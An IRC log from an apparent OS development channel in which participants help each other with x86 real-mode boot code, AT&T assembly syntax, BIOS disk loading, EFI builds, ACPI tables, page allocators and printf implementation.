07:01:57 <glauxosdever> rain1: From the logs, is this the paste you want help with? https://bpaste.net/show/7a7c54b9296d
07:02:29 <yasar> glauxosdever, thanks. I will check it out
07:06:49 <rain1> yeah
07:08:01 <klys> ~
07:10:12 <glauxosdever> Alright, I have next to no experience with EFI. But I'd disagree about using different targets for binutils and gcc
07:10:26 <rain1> oh ok
07:10:36 <rain1> it's because efi-pe isn't available for gcc, only binutils
07:10:41 <rain1> and I didn't want to set up wingw
07:10:43 <rain1> mingw
07:10:47 <johnjay> yeah klang mentioned xorriso as well in ths readme
07:10:56 <rain1> but maybe we would have to use mingw
07:11:08 <glauxosdever> You don't set up a mingw environemnt
07:11:13 <johnjay> rain1: mingw on linux or mingw-w64 on windows?
07:11:20 <rain1> linux
07:33:33 <dallin_hagman> Does anyone have suggestions for what implementation makes a good first OS page frame allocator?
07:46:34 <lachlan_s> johnjay: nebulet
08:25:47 <geist> dallin_hagman: generally a bitmap will get you started
08:25:56 <geist> it's not great long term, but it's darn simple
08:26:20 <geist> and fairly good performance for reasonable number of pages, if you make it efficient (search 64bits at a time, skip over all zeros, etc)
08:35:23 <klys> I was looking for a simple acpi implementation, is coreos a good option to look for that in?
08:35:34 <geist> acpica, but it's not particularly simple
08:35:43 <geist> but it's the standard way to do it, and it's fairly easy to integrate
08:36:06 <geist> what parts of acpi are you interested in? I wrote a dumb little simple parser for the few basic tables that the kernel may care about last weekend
08:37:09 <dallin_hagman> geist: that's what I was looking at for the performance reason. thanks!
08:37:55 <klys> I would be interested in finding the iommu, and determining whether various PCI parts have function-level reset capability, and finding the irq numbers for things.
08:38:16 <geist> dallin_hagman: generally speaking more sophisticated physical page allocators that systems use a simple stacks (a queue of page structures, popped from the top) or power of 2 trees (buddy allocator, like linux uses)
08:38:51 <geist> klys: finding the iommu is in the MADT table, which also lists all the cpus, so it's the usual thing you parse to bootstrrap SMP
08:39:02 <geist> it's 'easy' to find, in that it's just a table linked from the main table
08:39:12 <geist> it also has some simple static irq redirections
08:39:39 <geist> i think the more complex which PCI device maps to what global interrupt vector is more complicated and involves one of the deeper tables, with AML bytecode
08:39:58 <geist> that is a few orders of magnitude more complex, and by then you need acpica, or you go spend a year writing a replacement
08:41:18 <johnjay> wha's the fastest way to find gnu code for stuff?
08:41:27 <johnjay> i wanted to see how the indent program works and i didn't get a github
08:41:34 <johnjay> just some weird cvs savannah.gnu.org page
08:41:37 <klys> apt-cache search stuff
08:41:54 <johnjay> oh like use apt-get with the source option?
08:42:26 <klys> then you can get upstream or debian sources, depending on what you prefer
08:46:09 <johnjay> well upstream is just randomly googling around as i did
09:03:25 <yasar> I did babysteps 1 tutorial (https://wiki.osdev.org/Babystep1) using gcc as instead of nasm. Does it look ok? https://github.com/yasar11732/snakeos
09:03:26 <bslsk05> ​wiki.osdev.org: Babystep1 - OSDev Wiki
09:03:27 <bslsk05> ​yasar11732/snakeos - Nothing to See Here (0 forks/0 watchers)
09:06:02 <geist> yasar: thumbsup
09:10:21 <clever> when a modern cpu comes out of reset and begins to run the bios from the "rom", are registers the only writable storage it has? until it enables cache-as-ram or dram?
09:11:46 <yrlf> I've read lots of the intel manual, but it doesn't really describe much about _that_ early in the boot process
09:12:15 <yrlf> except if they put it somewhere in the middle, or some other obscure manual, or completely undocumented
09:12:54 <yrlf> @clever: if that's the case, it would probably enable cache-as-ram in the first few instructions
09:13:39 <clever> thanks
09:14:31 <yrlf> But I don't know very much about those intricacies. Maybe some of the others here has disassembled a BIOS before :)
09:28:16 <froggey> iirc AMD put out manuals for BIOS developers that describe that kind of thing. don't know where you'd find them though
09:29:34 <clever> i found one on google earlier, let me see
09:29:44 <clever> https://support.amd.com/TechDocs/49125_15h_Models_30h-3Fh_BKDG.pdf
09:30:09 <clever> forgot i had opened that ealier
09:37:18 <Brnocrist> is tehre any plan for PAC support on qemu?
09:38:21 <drakonis> this isn't the qemu channel
09:38:37 <Brnocrist> I know..
09:38:46 <drakonis> ask them instead
10:01:19 <yasar> shouldn't this work in AT/T syntax: movs $0x7D00, %ax
10:01:32 <yasar> it gives me type mismatch error
10:01:58 <Gynvael> movs? movw or sth ?
10:02:22 <geist> yah movs is something pretty specific
10:02:55 <yasar> What I intend to do is move 16bit value 0x7D00 into ax register
10:02:58 <geist> in general you can just use mov and the assembler will figure out the width, though many times when you see dissassembly you'll see it add w l or q
10:03:05 <geist> yes. so remove the s
10:03:11 <geist> movs is specifically a different opcode
10:03:25 <geist> that's a string move, you dont want it
10:03:40 <Gynvael> geist: o/
10:03:50 <Gynvael> hmm I'm looking at https://en.wikibooks.org/wiki/X86_Assembly/GAS_Syntax#Operation_Suffixes
10:03:50 <bslsk05> ​en.wikibooks.org: X86 Assembly/GAS Syntax - Wikibooks, open books for an open world
10:03:58 <Gynvael> I guess the 's' there might be confusing in case of movs
10:04:45 <yasar> Gynvael, according to that document, movs should move a short
10:04:52 <Gynvael> yup, but that's not correct
10:05:02 <Gynvael> movw is what you want if you need to specify the width
10:05:43 <Gynvael> movs is for 'mov string'
10:05:55 <Gynvael> which is a different opcode from 'mov<width>'
10:06:04 <Gynvael> *different opcode group
10:06:12 <Gynvael> hmm opcode family? whatever
10:12:06 <yasar> I am trying to print Hello World with this
10:12:07 <yasar> https://paste.ubuntu.com/p/Ff67Q9TBg3/
10:12:07 <bslsk05> ​paste.ubuntu.com: Ubuntu Pastebin
10:12:29 <yasar> I am putting data segment at 0x7D00 with linker script
10:12:46 <yasar> but screen just hangs
10:13:22 <Gynvael> how are you executing it?
10:13:37 <Gynvael> i.e. what environment / operating system / etc?
10:13:42 <yasar> I am creating an iso image and executing with Virtualbox
10:13:52 <Gynvael> ah, so boot sector stuff
10:14:11 <yasar> This is last stable version: https://github.com/yasar11732/snakeos
10:14:11 <bslsk05> ​yasar11732/snakeos - Nothing to See Here (0 forks/0 watchers)
10:14:44 <Gynvael> hmmm
10:15:25 <yasar> I should get offset of hello label relative to section start, but I am not sure if I am getting it right
10:15:48 <yasar> I don't want to hardcode offset in case I want to move things around later
10:16:03 <geist> yasar: 'short' is not in x86 parlance
10:16:06 <Gynvael> I'm not sure about the .section .data and .section .text there
10:16:23 <geist> they use word, doubleword, quadword
10:16:51 <Gynvael> geist: yeah, fully agreed
10:17:17 <Gynvael> yasar: hmm, what's your current linker script?
10:17:21 <geist> though yes that page is pretty confusing because it says specifically that s is a suffix. my guess is it's a valid suffix except where it isnt
10:17:28 <geist> welcome to x86.
10:17:33 <Gynvael> ;)
10:17:59 <yasar> it is a valid suffix except where it isnt :D
10:18:50 <Gynvael> yasar: does your linker script even include the .data section in the output file?
10:19:39 <yasar> Gynvael, Yes, I checked it
10:20:11 <yasar> It is at offset 100 relative to file start
10:20:39 <yasar> I can paste hexdump somewhere if that would be useful
10:20:56 <Gynvael> yasar: yup, please
10:21:01 <Gynvael> http://www.ctyme.com/intr/rb-0106.htm
10:21:01 <bslsk05> ​www.ctyme.com: Int 10/AH=0Eh
10:21:28 <Gynvael> looking at this, did you initialize BH/BL somewhere?
10:21:49 <yasar> was I supposed to?
10:22:00 <Gynvael> according to that page, yes
10:22:08 <yasar> No, I didn't
10:22:33 <Gynvael> (btw, most folks just write to b800:0000 in memory; any specific reason you're going for BIOS functions?)
10:23:14 <geist> yah once you get to protected mdoe you can't call those bios routines anyway, so usually folks go directly towards writing routines to put characters directly on the framebuffer
10:23:19 <yasar> Gynvael, My hex dump https://paste.ubuntu.com/p/DXzYRbfq4w/
10:23:19 <bslsk05> ​paste.ubuntu.com: Ubuntu Pastebin
10:24:08 <yasar> Gynvael, I am challanging myself to write a snake game in real mode :D
10:24:35 <yasar> *challenge*
10:24:59 <jjuran> For a real challenge, do it without gdb
10:25:11 <jjuran> no step thru snek :-)
10:25:53 <Gynvael> 700000005 BE007D mov si,0x7d00
10:26:11 <Gynvael> yasar: it seems the linker doesn't set si correctly
10:26:27 <yasar> Ahh
10:26:33 <yasar> it is getting absolute address :(
10:26:33 <Gynvael> that's probably because you have addressing somewhat incorrect
10:26:53 <Gynvael> hmmm
10:26:59 <Gynvael> that's not even the absolute address
10:27:30 <Gynvael> but I guess some tweaks in the .ld file will be needed
10:27:42 <Gynvael> anyway, the way to go is to disassemble the output file
10:27:47 <Gynvael> and check if all is well
10:27:58 <Gynvael> and fix that bh/bl initialization ;)
10:28:01 <yasar> 0x7d00 is the location of my string
10:28:47 <Gynvael> yup
10:28:53 <Gynvael> but only if ds is set to 0
10:29:30 <Gynvael> (keep in mind that lodsb doesn't read from address SI, it reads from DS:SI)
10:30:22 <Gynvael> (and 7D00:7D00 is 0x84d00 in physical address terms)
10:30:53 <Gynvael> (and 7D00:0000 would be 0x7d000, which is also wrong)
10:31:01 <yasar> Gynvael, yes, I was trying to get offset of hello in .data segment, but I guess labels wont work like that
10:31:41 <Gynvael> hmm there was some way to make it work with .ld scripts, but tbh I'm really bad with them so no hints from my side
10:32:41 <yasar> Gynvael, Ahh, I also needed to divide 0x7d00 with 16
10:33:00 <yasar> Forgot about that
10:34:14 <Gynvael> yup :)
10:35:20 <yasar> Gynvael, Thanks a lot, got it working: https://paste.ubuntu.com/p/zdBpRwXBQV/
10:35:20 <bslsk05> ​paste.ubuntu.com: Ubuntu Pastebin
10:35:36 <Gynvael> nice :) gw
10:36:18 <Gynvael> btw, you might want to check what's the deal with b800:000 ;)
10:36:28 <Gynvael> that might save you some time later on if you're writing snake
10:37:29 <yasar> Gynvael, I was going to try that later on, I am following babysteps tutorials
10:37:54 <Gynvael> ah :) fair enough
10:38:31 <yasar> I am modifiying tutorials to work with GCC. That is why some of the stuff fails initially
10:41:55 <yasar> BTW, can I use hlt instead of jmp hang here?
10:42:04 <yasar> it seems wasteful
10:42:08 <geist> you still need to jmp
10:42:12 <Gynvael> hlt in a loop
10:42:13 <Gynvael> yeah
10:42:14 <geist> so do a hlt, jmp <to halt>
10:42:32 <Gynvael> hlt resumes if an interrupt is issued
10:42:32 <geist> hlt can break out for any number of reasons, so canonically you should hlt in a loop
10:43:16 <yasar> What if I disable interrupts :D
10:43:30 <yasar> cli; hlt?
10:44:04 <Gynvael> hmm, do check in intel manuals to be sure what are the conditions when hlt resumes
10:44:17 <geist> nmi can break out of it, so technically it's not 100% sufficient
10:44:21 <geist> but...
10:44:35 <geist> some emulators see cli;hlt as 'stop the emulation'
10:44:45 <Gynvael> huh really?
10:44:47 <Gynvael> interesting
10:45:03 <geist> if they'r enot emulating nmi then there's really no point continuing
10:45:19 <yasar> Hang on, I will try it with Virtualbox :)
10:45:22 <geist> though in an SMP system you may still continue, etc
10:46:35 <yasar> Virtualbox doesn't appear to behave differently with cli;hlt, but it might be doing something different internally
10:53:05 <yasar> Will bios only load 512 bytes of bootloader?
10:54:33 <clever> correct, it will only load the first 512 byte sector of the hdd, and execute it
10:56:07 <yasar> Do I need I/O driver in order to load more code?
10:56:07 <Gynvael> in case of .iso it's a little different
10:56:59 <Gynvael> nah, it's usually in floppy emulation mode at that point, so just call BIOS API to get more 'sectors of the floppy'
10:57:19 <clever> yasar: for legacy booting from a hdd, you will have the legacy software interupt api's available, what dos originally used
10:57:31 <clever> floppy booting is the same
10:57:52 <clever> i believe there is also a register set, to indicate if you are booting from a floppy or hdd, and which one
10:57:53 <Gynvael> though with .iso there was some way to make it read more than 512 bytes initially
10:58:14 <clever> yeah, iso has several ways of booting
10:58:43 <clever> i believe one just loads a blob (bigger size limit) into ram and executes
10:58:54 <clever> another treats a 1.44mb blob as a floppy, and emulates floppy booting
10:59:00 <Gynvael> (tbh I always prefered PXE for this stuff)
10:59:14 <clever> efi is also an option on newer systems, which is sort of the first, loading a blob, and executing it, but more structured
10:59:32 <Gynvael> hmm though efi is pmode right?
10:59:52 <clever> yeah, different cpu mode, and dynamic linker at play (i think)
11:00:03 <Gynvael> and it uses PE format afair
11:00:11 <clever> yeah
11:00:16 <Gynvael> fun stuff
11:00:59 <clever> https://gist.github.com/edwardw/7587876 was also linked here recently (i think)
11:01:01 <bslsk05> ​gist.github.com: Boot to Rust in OS X · GitHub
11:01:11 <clever> its a rust source file, that compiles directly into a .efi binary
11:01:34 <clever> well, it compiles into a .o, and then ld turns it into a .efi
11:01:43 <yasar> I guess int 13h is what I was looking for
11:02:33 <clever> yasar: https://wiki.osdev.org/ATA_in_x86_RealMode_(BIOS)
11:02:34 <bslsk05> ​wiki.osdev.org: ATA in x86 RealMode (BIOS) - OSDev Wiki
11:06:04 <rain1> i wasn't able to build and qemu boot a hello world uefi example
11:14:55 <Shockk> PROGRESS
11:14:58 <Shockk> https://i.imgur.com/6fkQuFi.png
11:15:08 <rain1> oh well done
11:15:10 <Shockk> this is dash (the shell), finally compiled and linked
11:16:41 <yasar> Should I set ss to low end of the stack or high end?
11:17:08 <yasar> It is confusing because it grows to lower addresses
11:17:31 <rain1> high end then
11:18:43 <Shockk> out of interest, does anyone have any tips/advice (without just giving me the answer outright), on how to handle vsprintf vs vsnprintf?
11:18:49 <Shockk> i.e. to avoid writing my formatting code twice
11:19:00 <Shockk> er, I meant vfprintf vs vsnprintf
11:19:47 <Shockk> currently I implement my vsprintf by calling fmemopen to get a memstream FILE* so I can call vfprintf from there
11:20:14 <Shockk> but vsnprintf is different as it needs to take length into account, and I don't know if I can just do some magic to be able to pass it on to vfprintf somehow
11:26:29 <froggey> Shockk: you're on the right track by having the *printf functions call a common function, but the common function itself doesn't have to be tied to the FILE interface
11:27:39 <Shockk> hmmm I see
11:28:11 <froggey> not sure how much more I can say without giving you the answer
11:28:22 <clever> i think vsnprintf would be the root implementation
11:28:25 <Shockk> I'm tempted to just ask for the answer now
11:29:11 <Shockk> clever: I thought about that, but wouldn't that require figuring out what the size should be beforehand, when calling vsnprintf from the other interfaces?
11:29:19 <clever> and i would just not support vsprintf, its a security threat!
11:29:35 <Shockk> well I'd love to but the software I'm trying to port uses it
11:29:44 <clever> fix that software?
11:29:47 <Shockk> lol
11:29:56 <Shockk> I mean..
11:30:09 <clever> do you want exploits in your os? :D
11:30:14 <Shockk> while technically a good idea, it's part of the standard
11:30:33 <froggey> if you really want to know, then I can tell you what I did
11:30:50 <Shockk> froggey: hmm maybe
11:31:00 <Shockk> I guess it doesn't matter too much if you do tell me outright
11:32:55 <froggey> I have a common function do_printf that takes a callback, and it calls the callback whenever it wanted to emit characters. the callback would be specific to vsnprintf/vfprintf/etc and do any end of string checking/whatever that function required
11:33:11 <clever> only other thing i can think of, is to just have sprintf, call snprintf, and give it INT_MAX as the size
11:33:14 <Shockk> huh, hmm
11:33:23 <Shockk> froggey: would that not be quite slow?
11:33:45 <Shockk> clever: ooh that sounds clever, pun intended
11:34:40 <wcstok> That'll only potentially trash half your va space, better to go all in with SIZE_T_MAX :p
11:35:15 <froggey> not really. if you really want, you can get clever and call the callback with chunks of characters to reduce the number of calls
11:35:16 <Shockk> right, size_t is the type of n
11:35:25 <Shockk> froggey: hmm that's true
11:35:32 <Shockk> that's an interesting approach actually
11:36:31 <froggey> printf("foo %i", 42); => callback("foo "); callback("42");
11:46:50 <Jmabsd> just to double-confirm: modern CPU:s' virtual memory allows per-page granularity only, there is no per-byte interval granularity, right?
11:47:15 <Jmabsd> e.g. the CPU's functionality can't be used to allow processes A and B to have equal access to a 25 byte interval
11:47:40 <wcstok> If you want per-byte you can do crazy shit with segmentation, but just don't do that, it's unhealthy and not good for sanity
11:48:07 <Shockk> from what I understand, you would need to have that page mapped in both processes' virtual address spaces
11:49:55 <wcstok> If you want to share a page between processes, then yeah, it helps to...share it